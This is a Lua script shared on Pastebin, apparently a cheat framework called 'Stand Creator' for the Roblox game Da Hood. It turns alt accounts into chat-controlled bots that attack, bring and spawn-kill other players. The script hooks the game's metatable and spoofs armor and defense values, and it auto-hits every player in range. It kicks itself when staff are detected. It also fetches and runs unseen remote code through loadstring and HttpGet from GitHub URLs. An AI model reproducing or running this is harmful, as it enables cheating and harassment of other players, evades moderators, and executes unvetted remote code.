Advertisement
user1321

Untitled

Jan 26th, 2024 (edited)
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.42 KB | None | 0 0
  1. --[[ For any template shares, Please make sure to include a list of the abilities inside the template as follows :
  2. --/ Abilities don't support /e prefix
  3. Summon! --/ Summons the stand.
  4. Vanish! --/ Desummons the stand.
  5. Rejoin! --/ Rejoins.
  6. Leave! --/ Leaves.
  7. Barrage! & Ora! --/ Barrages infront of you.
  8. Aura! --/ Goes below you and begins hitting in a circle.
  9. Bring! {name} --/ Brings person.
  10. Kill! {name} --/ Begins spawn killing the person.
  11. Save! --/ Saves the owner if KO'ED.
  12. Mimic! --/ Mimics the owner's movements {Block, Punch}.
  13. Drop! --/ Drops the carried person.
  14. Left! --/ Stand position change.
  15. Right! --/ Stand position change.
  16. Reset! --/ Resets the stand.
  17. Heavy! --/ Attack mode.
  18. Light! --/ Attack mode.
  19. ]]--
  20.  
  21. getgenv().Settings = {
  22. ['Made By JoJo#2494'] = {
  23. OWNER = "Faisal_jss", --/ Stand owner username.
  24. STANDS = {"faisal_fgfs133", "STAND2USERNAMEHERE"}, --/ List of your stand accounts (if you have more than one you can add more usernames to the table).
  25. FPS = 60, --/ Will control FPS can improve the overall performance on both instances when set to lower.
  26. PERFORMANCE = false, --/ If set to true it'll significantly improve your overall FPS if you're struggling with performance.
  27. NOCLIP = {SynapseX = false, Offset = -3.05}, --/ Offset will control the height of normal noclip (keep unchanged unless you're using titan with a big character / SynapseX option).
  28. FACELESS = true, --/ If you want to remove your face.
  29. TRAILS = true, --/ If you want to remove the white trail when charge attacking.
  30. LEGS = false, --/ If set to true it'll remove your legs.
  31. ANTIFLING = true, --/ If set to true you can't get flinged nor can you fling anyone.
  32. TELEPORTMAIN = true, --/ Teleports to the stand user
  33. RANGE = 50, --/ Controls the melee reach range (50 is max).
  34. TITAN = {ENABLED = true, DEFAULT = false, TALL = false, WIDE = true, GODV3 = false}, --/ If enabled you will become a titan stand, if you enable god you need to execute before load for it to work (also can be used with titan disabled).
  35. FOLLOWANIM = {true, ID = 3541044388, SPEED = 0.25}, --/ If set to true will play the desired animation when moving (Default animation is heavily advised), SPEED will control the speed (Recommended is 0.25).
  36. AUTOPICKUPCASH = true, --/ If set to true will automatically pick up cash when you're near it & should not be used if your dropping cash.
  37. ANTIBAN = true, --/ If set to true the stand will be automatically kicked from the server, in-case da hood staff is detected on the same server.
  38. }
  39. }
  40. --//--------------------------------------------------------------------------------------------\\--
  41. --// Stand Creator 1.1.1 \\--
  42. if not game['Loaded'] or not game:GetService("Players").LocalPlayer then
  43. game['Loaded']:Wait();
  44. game:WaitForChild(game:GetService('Players'));
  45. game:GetService('Players'):WaitForChild(game:GetService("Players").LocalPlayer.Name)
  46. end
  47. --//------------------------------------------------------------------------------------------\\--
  48. for i,v in pairs(Settings['Made By JoJo#2494'].STANDS) do
  49. if game:GetService("Players").LocalPlayer.Name == v then
  50. loadstring(game:HttpGet("https://raw.githubusercontent.com/ilyanaes/1/main/message%20(5).txt"))()
  51. STAND = game:GetService("Players"):FindFirstChild(tostring(v))
  52. OWNER = game:GetService("Players"):WaitForChild(Settings['Made By JoJo#2494'].OWNER)
  53. rs = game:GetService("RunService")
  54. --//------------------------------------------------------------------------------------------\\--
  55. assert(getrawmetatable)
  56. gmt = getrawmetatable(game)
  57. setreadonly(gmt, false)
  58. old = gmt.__namecall
  59. gmt.__namecall =
  60. newcclosure(
  61. function(self, ...)
  62. local args = {...}
  63. if tostring(self) == "RemoteFunction" then return end
  64. if tostring(self) == "MainEvent" then
  65. if tostring(args[1]) == "DropMoney" or tostring(args[1]) == "TimerDecrease" or tostring(args[1]) == "Grabbing" or tostring(args[1]) == "Block" or tostring(args[1]) == "Stomp" or tostring(args[1]) == "JoinCrew" or tostring(args[1]) == "PhoneCall" or tostring(args[1]) == "Boombox" or tostring(args[1]) == "BoomboxStop" or tostring(args[1]) == "EnterPromoCode" or tostring(args[1]) == "PurchaseSkinCrate" or tostring(args[1]) == "TimerMoney" or tostring(args[1]) == "Reload" or tostring(args[1]) == "UpdateMousePos" or tostring(args[1]) == "FireworkText" or tostring(args[1]) == "GunCombatToggle" or tostring(args[1]) == "LeaveCrew" or tostring(args[1]) == "AnimationPack" or tostring(args[1]) == "EquipWeaponSkins" or tostring(args[1]) == "REPORT_PLAYER" or tostring(args[1]) == "IS_MOBILE" or tostring(args[1]) == "GamePurchase" then
  66. else
  67. return
  68. end
  69. end
  70. return old(self, ...)
  71. end)
  72. --//------------------------------------------------------------------------------------------\\--
  73. game:GetService("Players").PlayerAdded:Connect(function(Player)
  74. if Player:WaitForChild("Name") == Settings['Made By JoJo#2494'].OWNER then
  75. OWNER = Player
  76. end
  77. if Settings['Made By JoJo#2494'].ANTIBAN then
  78. if Player:WaitForChild("Backpack"):FindFirstChild("AdminBan") then
  79. STAND:Kick("Stand Creator: Staff has joined the server.")
  80. end
  81. end
  82. end)
  83. --//------------------------------------------------------------------------------------------\\--
  84. if Settings['Made By JoJo#2494'].ANTIBAN then
  85. for i,v in pairs(game:GetService("Players"):GetPlayers()) do
  86. if v and v:WaitForChild("Backpack"):FindFirstChild("AdminBan") then
  87. STAND:Kick("Stand Creator: Staff was in the server.")
  88. end
  89. end
  90. end
  91. --//------------------------------------------------------------------------------------------\\--
  92. function Notify(title,text)
  93. game:GetService("StarterGui"):SetCore("SendNotification", {
  94. Title = title;
  95. Text = text;
  96. Duration = 3;
  97. Button1 = "";
  98. Callback = NotificationBindable;
  99. })
  100. end
  101. --//------------------------------------------------------------------------------------------\\-
  102. if tonumber(Settings['Made By JoJo#2494'].FPS) then
  103. setfpscap(Settings['Made By JoJo#2494'].FPS)
  104. end
  105. --//------------------------------------------------------------------------------------------\\-
  106. if Settings['Made By JoJo#2494'].PERFORMANCE then
  107. game:GetService("RunService"):Set3dRenderingEnabled(false)
  108. local g = game
  109. local w = g.Workspace
  110. local l = g:GetService"Lighting"
  111. local t = w:WaitForChild"Terrain"
  112. t.WaterWaveSize = 0
  113. t.WaterWaveSpeed = 0
  114. t.WaterReflectance = 0
  115. t.WaterTransparency = 1
  116. l.GlobalShadows = false
  117. for _,v in pairs(game:GetService("Workspace"):GetDescendants()) do
  118. if v.ClassName == "Part"
  119. or v.ClassName == "SpawnLocation"
  120. or v.ClassName == "WedgePart"
  121. or v.ClassName == "Terrain"
  122. or v.ClassName == "MeshPart" then
  123. v.BrickColor = BrickColor.new(155, 155, 155)
  124. v.Material = "Plastic"
  125. end
  126. if v.ClassName == "Decal" or v.ClassName == "Texture" then
  127. v:Destroy()
  128. end
  129. end
  130. end
  131. --//------------------------------------------------------------------------------------------\\-
  132. settings().Physics.PhysicsEnvironmentalThrottle = 1
  133. settings().Physics.AllowSleep = true
  134. settings().Rendering.QualityLevel = "Level01"
  135. UserSettings():GetService("UserGameSettings").MasterVolume = 0
  136. --//------------------------------------------------------------------------------------------\\-
  137. local function x()
  138. Stand = {
  139. Action = "",
  140. Target = ""
  141. }
  142. STAND = game:GetService("Players"):FindFirstChild(tostring(v))
  143. OWNER = game:GetService("Players"):WaitForChild(Settings['Made By JoJo#2494'].OWNER)
  144. rs = game:GetService("RunService")
  145. repeat rs.Stepped:Wait() until STAND.Character:FindFirstChild("ForceField") or STAND.Character:FindFirstChild("ForceField_TESTING")
  146. STAND.Character:WaitForChild("Humanoid")
  147. STAND.Character:WaitForChild("Head")
  148. STAND.Character:WaitForChild("BodyEffects")
  149. STAND.Character:WaitForChild("HumanoidRootPart")
  150. --//------------------------------------------------------------------------------------------\\-
  151. if Settings['Made By JoJo#2494'].TITAN.GODV3 then
  152. pcall(function()
  153. game:GetService("StarterPlayer").StarterCharacterScripts["CheckingKOED ."]:Destroy()
  154. for i,v in pairs(STAND.Character:GetChildren()) do
  155. if v.ClassName == 'Script' then
  156. v:Destroy()
  157. end
  158. end
  159. end)
  160. end
  161. --//------------------------------------------------------------------------------------------\\-
  162. if Settings['Made By JoJo#2494'].TITAN.ENABLED then
  163. coroutine.wrap(function()
  164. repeat wait() until STAND.Backpack:FindFirstChild("Mask")
  165. coroutine.wrap(function()
  166. STAND.Character:WaitForChild("BodyEffects"):WaitForChild("Defense"):WaitForChild('CurrentTimeBlock'):Destroy()
  167. end)()
  168. local function rm()
  169. for i, v in pairs(STAND.Character:GetDescendants()) do
  170. if v.Name == "OriginalPosition" then
  171. v:Destroy()
  172. elseif v.Name == "OriginalSize" then
  173. v:Destroy()
  174. elseif v.Name == "AvatarPartScaleType" then
  175. v:Destroy()
  176. end
  177. end
  178. end
  179. tall = false
  180. wide = false
  181. default = false
  182. if Settings['Made By JoJo#2494'].TITAN.TALL and wide == false and default == false then
  183. tall = true
  184. if STAND.Character.Humanoid:FindFirstChild("HeadScale") then
  185. rm()
  186. wait(0.6)
  187. STAND.Character.Humanoid:FindFirstChild("HeadScale"):Destroy()
  188. wait(0.6)
  189. end
  190. if STAND.Character.Humanoid:FindFirstChild("BodyWidthScale") then
  191. rm()
  192. wait(0.6)
  193. STAND.Character.Humanoid:FindFirstChild("BodyWidthScale"):Destroy()
  194. wait(0.6)
  195. end
  196. if STAND.Character.Humanoid:FindFirstChild("BodyDepthScale") then
  197. rm()
  198. wait(0.6)
  199. STAND.Character.Humanoid:FindFirstChild("BodyDepthScale"):Destroy()
  200. wait(0.6)
  201. end
  202. if STAND.Character.Humanoid:FindFirstChild("BodyTypeScale") then
  203. rm()
  204. wait(0.6)
  205. STAND.Character.Humanoid:FindFirstChild("BodyTypeScale"):Destroy()
  206. wait(0.6)
  207. end
  208. end
  209. if Settings['Made By JoJo#2494'].TITAN.WIDE and tall == false and default == false then
  210. wide = true
  211. if STAND.Character.Humanoid:FindFirstChild("HeadScale") then
  212. rm()
  213. wait(0.6)
  214. STAND.Character.Humanoid:FindFirstChild("HeadScale"):Destroy()
  215. wait(0.6)
  216. end
  217. if STAND.Character.Humanoid:FindFirstChild("BodyDepthScale") then
  218. rm()
  219. wait(0.6)
  220. STAND.Character.Humanoid:FindFirstChild("BodyDepthScale"):Destroy()
  221. wait(0.6)
  222. end
  223. end
  224. if Settings['Made By JoJo#2494'].TITAN.DEFAULT and tall == false and wide == false then
  225. default = true
  226. if STAND.Character.Humanoid:FindFirstChild("HeadScale") then
  227. rm()
  228. wait(0.6)
  229. STAND.Character.Humanoid:FindFirstChild("HeadScale"):Destroy()
  230. wait(0.6)
  231. end
  232. if STAND.Character.Humanoid:FindFirstChild("BodyWidthScale") then
  233. rm()
  234. wait(0.6)
  235. STAND.Character.Humanoid:FindFirstChild("BodyWidthScale"):Destroy()
  236. wait(0.6)
  237. end
  238. if STAND.Character.Humanoid:FindFirstChild("BodyDepthScale") then
  239. rm()
  240. wait(0.6)
  241. STAND.Character.Humanoid:FindFirstChild("BodyDepthScale"):Destroy()
  242. wait(0.6)
  243. end
  244. end
  245. end)()
  246. else
  247. local newCharacter = game:GetService("Workspace"):WaitForChild(STAND.Name)
  248. local spoofFolder = Instance.new('Folder');
  249. spoofFolder.Name = 'FULLY_LOADED_CHAR';
  250. spoofFolder.Parent = newCharacter;
  251. newCharacter:WaitForChild('RagdollConstraints'):Destroy();
  252. local spoofValue = Instance.new('BoolValue', newCharacter);
  253. spoofValue.Name = 'RagdollConstraints';
  254. STAND.Character:WaitForChild("BodyEffects").Defense:Destroy()
  255. Defense = Instance.new("IntValue", STAND.Character.BodyEffects)
  256. Defense.Name = "Defense"
  257. Defense.Value = 101
  258. STAND.Character.BodyEffects.Armor:Destroy()
  259. local Clone1 = Instance.new("IntValue")
  260. Clone1.Name = "Armor"
  261. Clone1.Value = 101
  262. Clone1.Parent = STAND.Character.BodyEffects
  263. end
  264. --//------------------------------------------------------------------------------------------\\--
  265. if Settings['Made By JoJo#2494'].FACELESS then
  266. for i,f in pairs(STAND.Character:FindFirstChild("Head"):GetChildren()) do
  267. if f:IsA("Decal") and f.Name == "face" then
  268. f.Parent = nil
  269. end
  270. end
  271. end
  272. --//------------------------------------------------------------------------------------------\\--
  273. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing, false)
  274. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false)
  275. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping, false)
  276. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed, false)
  277. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying, false)
  278. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall, false)
  279. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
  280. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding, false)
  281. STAND.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics, false)
  282. STAND.Character:FindFirstChild("Animate"):Destroy()
  283. if Settings['Made By JoJo#2494'].LEGS then
  284. STAND.Character.RightUpperLeg:Destroy()
  285. STAND.Character.LeftUpperLeg:Destroy()
  286. end
  287. --//------------------------------------------------------------------------------------------\\--
  288. if Settings['Made By JoJo#2494'].TRAILS then
  289. coroutine.wrap(function()
  290. STAND.Character.Humanoid:WaitForChild("TrailEffects"):Destroy()
  291. end)()
  292. end
  293. --//------------------------------------------------------------------------------------------\\--
  294. repeat
  295. rs.Stepped:Wait()
  296. STAND.Character.HumanoidRootPart.CFrame = CFrame.new(game:GetService("Workspace").Ignored.Shop["[Paintball Mask] - $60"].Head.Position)
  297. fireclickdetector(game:GetService("Workspace").Ignored.Shop["[Paintball Mask] - $60"].ClickDetector)
  298. until STAND.Backpack:FindFirstChild("Mask")
  299. --//------------------------------------------------------------------------------------------\\--
  300. if Settings['Made By JoJo#2494'].TELEPORTMAIN then
  301. pcall(function()
  302. STAND.Character:WaitForChild('HumanoidRootPart').CFrame = OWNER.Character:WaitForChild('HumanoidRootPart').CFrame * CFrame.new(0,0,math.random(2,4))
  303. end)
  304. else
  305. STAND.Character.HumanoidRootPart.CFrame = STAND.Character.HumanoidRootPart.CFrame*CFrame.new(0,3,0)
  306. end
  307. --//------------------------------------------------------------------------------------------\\--
  308. mask = STAND.Backpack:FindFirstChild("Mask")
  309. melee = STAND.Backpack:FindFirstChild("Combat")
  310. mask.Parent = STAND.Character
  311. mask:Activate()
  312. mask.Parent = STAND.Backpack
  313. melee.Parent = STAND.Character
  314. STAND.Backpack:WaitForChild("Mask")
  315. STAND.Character:WaitForChild('In-gameMask'):FindFirstChildWhichIsA("Model"):Destroy()
  316. STAND.Character:WaitForChild('In-gameMask'):FindFirstChild('Handle'):Destroy()
  317. --//------------------------------------------------------------------------------------------\\--
  318. function AnimPlay(ID, SPEED)
  319. local animation = Instance.new('Animation', game:GetService("Workspace"))
  320. animation.AnimationId = 'rbxassetid://'..ID
  321. playing = STAND.Character.Humanoid:LoadAnimation(animation)
  322. playing:Play()
  323. if tonumber(SPEED) then
  324. playing:AdjustSpeed(SPEED)
  325. else
  326. playing:AdjustSpeed(1)
  327. end
  328. animation:Destroy()
  329. end
  330. --//------------------------------------------------------------------------------------------\\--
  331. function AnimStop(ID, SPEED)
  332. for i,v in pairs(STAND.Character:WaitForChild("Humanoid"):GetPlayingAnimationTracks()) do
  333. if v.Animation.AnimationId == 'rbxassetid://'..ID then
  334. if tonumber(SPEED) then
  335. v:Stop(SPEED)
  336. else
  337. v:Stop()
  338. end
  339. end
  340. end
  341. end
  342. --//------------------------------------------------------------------------------------------\\--
  343. AnimPlay(3541114300,1)
  344. --//------------------------------------------------------------------------------------------\\--
  345. if Settings['Made By JoJo#2494'].FOLLOWANIM then
  346. local Glide = Instance.new('Animation', game:GetService("Workspace"))
  347. Glide.AnimationId = 'rbxassetid://'.. tonumber(Settings['Made By JoJo#2494'].FOLLOWANIM.ID)
  348. Glide.Name = "Follow"
  349. Glide2 = STAND.Character:FindFirstChildWhichIsA('Humanoid'):LoadAnimation(Glide)
  350. function Moved()
  351. if OWNER.Character:WaitForChild("Humanoid").MoveDirection.magnitude > 0 then
  352. if Glide2.IsPlaying == true then
  353. return
  354. end
  355. Glide2:Play(tonumber(Settings['Made By JoJo#2494'].FOLLOWANIM.SPEED))
  356. else
  357. Glide2:Stop(tonumber(Settings['Made By JoJo#2494'].FOLLOWANIM.SPEED))
  358. end
  359. end
  360. OWNER.Character:WaitForChild("Humanoid"):GetPropertyChangedSignal("MoveDirection"):Connect(Moved)
  361. end
  362. --//------------------------------------------------------------------------------------------\\--
  363. Notify("JoJo's Stand Framework 1.1.1","Success!")
  364. end
  365. --//------------------------------------------------------------------------------------------\\----//------------------------------------------------------------------------------------------\\--
  366. if not STAND.Character:FindFirstChild("ForceField_TESTING") then
  367. repeat wait() until STAND.Character:WaitForChild("BodyEffects"):WaitForChild("K.O").Value == false
  368. STAND.Character.Humanoid.Health = 0
  369. x()
  370. else
  371. x()
  372. end
  373. --//------------------------------------------------------------------------------------------\\--
  374. if Settings['Made By JoJo#2494'].NOCLIP.SynapseX then
  375. loadstring(game:HttpGet("https://raw.githubusercontent.com/LegoHacker1337/legohacks/main/PhysicsServiceOnClient.lua"))()
  376. setfflag("HumanoidParallelRemoveNoPhysics", "False")
  377. setfflag("HumanoidParallelRemoveNoPhysicsNoSimulate2", "False")
  378. rs:BindToRenderStep("", Enum.RenderPriority.Camera.Value, function()
  379. STAND.Character:WaitForChild("Humanoid"):ChangeState(11)
  380. game:GetService("ReplicatedStorage").MainEvent:FireServer('Block', STAND.Name)
  381. rs.RenderStepped:Wait()
  382. end)
  383. else
  384. loadstring(game:HttpGet("https://raw.githubusercontent.com/LegoHacker1337/legohacks/main/PhysicsServiceOnClient.lua"))()
  385. setfflag("HumanoidParallelRemoveNoPhysics", "False")
  386. setfflag("HumanoidParallelRemoveNoPhysicsNoSimulate2", "False")
  387. noclip = Instance.new('Part', game:GetService("Workspace"))
  388. noclip.Name = "noclip"
  389. noclip.Size = Vector3.new(6,0.1,6)
  390. noclip.Anchored = true
  391. noclip.Transparency = 1
  392. local x = Settings['Made By JoJo#2494'].NOCLIP.Offset
  393. rs.Stepped:Connect(function()
  394. pcall(function()
  395. STAND.Character.Head.CanCollide = false
  396. STAND.Character.UpperTorso.CanCollide = false
  397. STAND.Character.HumanoidRootPart.CanCollide = false
  398. STAND.Character.LowerTorso.CanCollide = false
  399. game:GetService("ReplicatedStorage").MainEvent:FireServer('Block', STAND.Name)
  400. noclip.CFrame = STAND.Character.HumanoidRootPart.CFrame + Vector3.new(0,x,0)
  401. end)
  402. end)
  403. end
  404. --//------------------------------------------------------------------------------------------\\--
  405. STAND.Idled:connect(function()
  406. game:GetService("VirtualUser"):Button2Down(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
  407. wait(1)
  408. game:GetService("VirtualUser"):Button2Up(Vector2.new(0,0),workspace.CurrentCamera.CFrame)
  409. end)
  410. --//------------------------------------------------------------------------------------------\\--
  411. rs.RenderStepped:connect(function()
  412. pcall(function()
  413. local Particle = STAND.Character.UpperTorso:FindFirstChild('ElectricuteParticle') or STAND.Character.UpperTorso:FindFirstChild('FlamethrowerFireParticle') or STAND.Character:FindFirstChild('Christmas_Sock')
  414. if Particle then Particle:Destroy() end
  415. for i,v in pairs(STAND.Character.Humanoid:GetPlayingAnimationTracks()) do
  416. if v.Animation.AnimationId == 'rbxassetid://5641749824' or v.Name == 'Block' then
  417. v:Stop()
  418. end
  419. end
  420. end)
  421. end)
  422. --//------------------------------------------------------------------------------------------\\--
  423. coroutine.wrap(function()
  424. while true do
  425. wait()
  426. local success, err = pcall(function()
  427. if STAND.Character.BodyEffects.Attacking.Value == true then
  428. for i,v in pairs(game:GetService('Players'):GetPlayers()) do
  429. if (v.Character.HumanoidRootPart.Position - STAND.Character.LeftHand.Position).Magnitude <= (Settings['Made By JoJo#2494'].RANGE) then
  430. if STAND.Character:FindFirstChildOfClass("Tool") then
  431. if STAND.Character:FindFirstChildOfClass("Tool"):FindFirstChild('Handle') then
  432. firetouchinterest(STAND.Character:FindFirstChildOfClass("Tool").Handle, v.Character.UpperTorso, 0)
  433. else
  434. firetouchinterest(STAND.Character['RightHand'], v.Character.UpperTorso, 0)
  435. firetouchinterest(STAND.Character['LeftHand'], v.Character.UpperTorso, 0)
  436. if Settings['Made By JoJo#2494'].LEGS == false then
  437. firetouchinterest(STAND.Character['RightFoot'], v.Character.UpperTorso, 0)
  438. firetouchinterest(STAND.Character['LeftFoot'], v.Character.UpperTorso, 0)
  439. firetouchinterest(STAND.Character['RightLowerLeg'], v.Character.UpperTorso, 0)
  440. firetouchinterest(STAND.Character['LeftLowerLeg'], v.Character.UpperTorso, 0)
  441. end
  442. end
  443. end
  444. end
  445. end
  446. end
  447. end)
  448. end
  449. end)()
  450. --//------------------------------------------------------------------------------------------\\--
  451. STAND.CharacterAdded:Connect(function(chr)
  452. x()
  453. end)
  454.  
  455. OWNER.CharacterAdded:Connect(function(chr)
  456. OWNER.Character:WaitForChild("Humanoid"):GetPropertyChangedSignal("MoveDirection"):Connect(Moved)
  457. end)
  458. --//------------------------------------------------------------------------------------------\\--
  459. if Settings['Made By JoJo#2494'].ANTIFLING then
  460. coroutine.wrap(function()
  461. local Services = setmetatable({}, {__index = function(Self, Index)
  462. local NewService = game.GetService(game, Index)
  463. if NewService then
  464. Self[Index] = NewService
  465. end
  466. return NewService
  467. end})
  468. local function PlayerAdded(Player)
  469. local Detected = false
  470. local Character;
  471. local PrimaryPart;
  472. local function CharacterAdded(NewCharacter)
  473. Character = NewCharacter
  474. repeat
  475. wait()
  476. PrimaryPart = NewCharacter:FindFirstChild("HumanoidRootPart")
  477. until PrimaryPart
  478. Detected = false
  479. end
  480. CharacterAdded(Player.Character or Player.CharacterAdded:Wait())
  481. Player.CharacterAdded:Connect(CharacterAdded)
  482. Services.RunService.Heartbeat:Connect(function()
  483. if (Character and Character:IsDescendantOf(workspace)) and (PrimaryPart and PrimaryPart:IsDescendantOf(Character)) then
  484. if PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 or PrimaryPart.AssemblyLinearVelocity.Magnitude > 100 then
  485. if Detected == false then end
  486.  
  487. Detected = true
  488. for i,v in ipairs(Character:GetDescendants()) do
  489. if v:IsA("BasePart") then
  490. v.CanCollide = false
  491. v.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  492. v.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  493. v.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  494. end
  495. end
  496. PrimaryPart.CanCollide = false
  497. PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  498. PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  499. PrimaryPart.CustomPhysicalProperties = PhysicalProperties.new(0, 0, 0)
  500. end
  501. end
  502. end)
  503. end
  504. for i,v in ipairs(Services.Players:GetPlayers()) do
  505. if v ~= STAND then
  506. PlayerAdded(v)
  507. end
  508. end
  509. Services.Players.PlayerAdded:Connect(PlayerAdded)
  510. local LastPosition = nil
  511. Services.RunService.Heartbeat:Connect(function()
  512. pcall(function()
  513. local PrimaryPart = STAND.Character.PrimaryPart
  514. if PrimaryPart.AssemblyLinearVelocity.Magnitude > 150 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 150 then
  515. PrimaryPart.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
  516. PrimaryPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
  517. PrimaryPart.CFrame = LastPosition
  518. elseif PrimaryPart.AssemblyLinearVelocity.Magnitude < 50 or PrimaryPart.AssemblyAngularVelocity.Magnitude > 50 then
  519. LastPosition = PrimaryPart.CFrame
  520. end
  521. end)
  522. end)
  523. end)()
  524. end
  525. --//------------------------------------------------------------------------------------------\\--
  526. Stand = {
  527. Action = "",
  528. Target = ""
  529. }
  530. --//------------------------------------------------------------------------------------------\\--
  531. function gplr(String)
  532. local strl = String:lower()
  533. for i,v in pairs(game:FindService("Players"):GetPlayers()) do
  534. if v.Name:lower():sub(1, #String) == String:lower() or v.DisplayName:lower():sub(1, #String) == String:lower() then
  535. return v
  536. end
  537. end
  538. end
  539. --//------------------------------------------------------------------------------------------\\--
  540. function CreateKeybind(keybind, callback)
  541. callback = callback or function() end
  542. game:GetService("UserInputService").InputBegan:Connect(function(Key)
  543. pcall(function()
  544. if game:GetService("UserInputService"):GetFocusedTextBox() then return end
  545. if Key.KeyCode == Enum.KeyCode[keybind] then
  546. pcall(callback)
  547. end
  548. end)
  549. end)
  550. end
  551. --//------------------------------------------------------------------------------------------\\--
  552. function Create(command, callback)
  553. callback = callback or function() end
  554. game.ReplicatedStorage.DefaultChatSystemChatEvents.OnMessageDoneFiltering.OnClientEvent:Connect(function(msg)
  555. if msg.Message:lower() == command:lower() and msg.FromSpeaker == tostring(OWNER.Name) then
  556. pcall(callback)
  557. end
  558. end)
  559. end
  560. --//------------------------------------------------------------------------------------------\\--
  561. function CreateAction(action, callback)
  562. callback = callback or function() end
  563. game:GetService("RunService").Heartbeat:Connect(function()
  564. if Stand.Action == action then
  565. pcall(callback)
  566. end
  567. end)
  568. end
  569. --//------------------------------------------------------------------------------------------\\--
  570. function CreateLoop(Name, callback)
  571. callback = callback or function() end
  572. if CreatedLoops == nil then
  573. CreatedLoops = {}
  574. end
  575. table.insert(CreatedLoops, Name)
  576. coroutine.wrap(function()
  577. while table.find(CreatedLoops, Name) do
  578. rs.Stepped:Wait()
  579. pcall(callback)
  580. end
  581. end)()
  582. end
  583. --//------------------------------------------------------------------------------------------\\--
  584. function StopLoop(Name)
  585. for i, name in ipairs(CreatedLoops) do
  586. if name == Name then
  587. table.remove(CreatedLoops, i)
  588. break
  589. end
  590. end
  591. end
  592. --//------------------------------------------------------------------------------------------\\--
  593. function CreateTargetAbility(command, callback)
  594. callback = callback or function() end
  595. game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.OnMessageDoneFiltering.OnClientEvent:Connect(function(msg)
  596. if msg.FromSpeaker == tostring(OWNER.Name) then
  597. local msgString = msg.Message:split(" ")
  598. local cmdName = msg
  599.  
  600. if msgString[1]:lower() == command:lower() then
  601.  
  602. local args = {}
  603.  
  604. for i = 2, #msgString, 1 do
  605. table.insert(args, msgString[i])
  606. end
  607.  
  608. if args[1] then
  609. local Target = gplr(args[1])
  610. if Target then
  611. Stand.Target = Target
  612. pcall(callback)
  613. end
  614. end
  615. end
  616. end
  617. end)
  618. end
  619. --//------------------------------------------------------------------------------------------\\--
  620. function Chat(msg)
  621. local A_1 = msg
  622. local A_2 = "All"
  623. local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest
  624. Event:FireServer(A_1, A_2)
  625. end
  626. --//------------------------------------------------------------------------------------------\\--
  627. local OriginalKeyUpValue = 0
  628. function Stop()
  629. STAND.Character.LowerTorso.BOOMBOXSOUND:Stop()
  630. end
  631. --//------------------------------------------------------------------------------------------\\--
  632. function StopAudio(ID, Key)
  633. local cor = coroutine.wrap(function()
  634. wait(STAND.Character.LowerTorso.BOOMBOXSOUND.TimeLength-0.1)
  635. if STAND.Character.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OriginalKeyUpValue == Key then
  636. Stop()
  637. end
  638. end)
  639. cor()
  640. end
  641. --//------------------------------------------------------------------------------------------\\--
  642. function Play(ID, STOP)
  643. if STAND.Backpack:FindFirstChild("[Boombox]") then
  644. local Tool = nil
  645. STAND.Backpack["[Boombox]"].Parent = STAND.Character
  646. game:GetService("ReplicatedStorage").MainEvent:FireServer("Boombox", ID)
  647. STAND.Character["[Boombox]"].RequiresHandle = false
  648. if STAND.Character["[Boombox]"]:FindFirstChild("Handle") then
  649. STAND.Character["[Boombox]"].Handle:Destroy()
  650. end
  651. STAND.Character["[Boombox]"].Parent = STAND.Backpack
  652. STAND.PlayerGui.MainScreenGui.BoomboxFrame.Visible = false
  653. if Tool ~= true then
  654. if Tool then
  655. Tool.Parent = STAND.Character
  656. end
  657. end
  658. if STOP == true then
  659. STAND.Character.LowerTorso:WaitForChild("BOOMBOXSOUND")
  660. local cor = coroutine.wrap(function()
  661. repeat wait() until STAND.Character.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and STAND.Character.LowerTorso.BOOMBOXSOUND.TimeLength > 0.0001
  662. OriginalKeyUpValue = OriginalKeyUpValue+1
  663. StopAudio(ID, OriginalKeyUpValue)
  664. end)
  665. cor()
  666. end
  667. end
  668. end
  669. --//-----------------------------------------------------------------------------------------\\--
  670. function Hit(Charge)
  671. wait()
  672. local x = STAND.Character:FindFirstChildWhichIsA("Tool")
  673. if Charge == false then
  674. x:Activate()
  675. x:Deactivate()
  676. elseif Charge == true then
  677. x:Activate()
  678. end
  679. end
  680. --//-----------------------------------------------------------------------------------------\\--
  681. function Crew(Join,ID)
  682. if not Join then
  683. game:GetService("ReplicatedStorage").MainEvent:FireServer("LeaveCrew")
  684. else
  685. game:GetService("ReplicatedStorage").MainEvent:FireServer("LeaveCrew")
  686. wait(0.5)
  687. game:GetService("ReplicatedStorage").MainEvent:FireServer("JoinCrew",ID)
  688. end
  689. end
  690. --//-----------------------------------------------------------------------------------------\\--
  691. function DropMoney(Amount)
  692. game:GetService("ReplicatedStorage").MainEvent:FireServer("DropMoney",Amount)
  693. end
  694. --//-----------------------------------------------------------------------------------------\\--
  695. function SilentChat(msg)
  696. game.Players:Chat(msg)
  697. end
  698. --//-----------------------------------------------------------------------------------------\\--
  699. function MoveTo(X,Y,Z)
  700. STAND.Character.HumanoidRootPart.CFrame = OWNER.Character.HumanoidRootPart.CFrame*CFrame.new(X,Y,Z)
  701. end
  702. --//------------------------------------------------------------------------------------------\\--
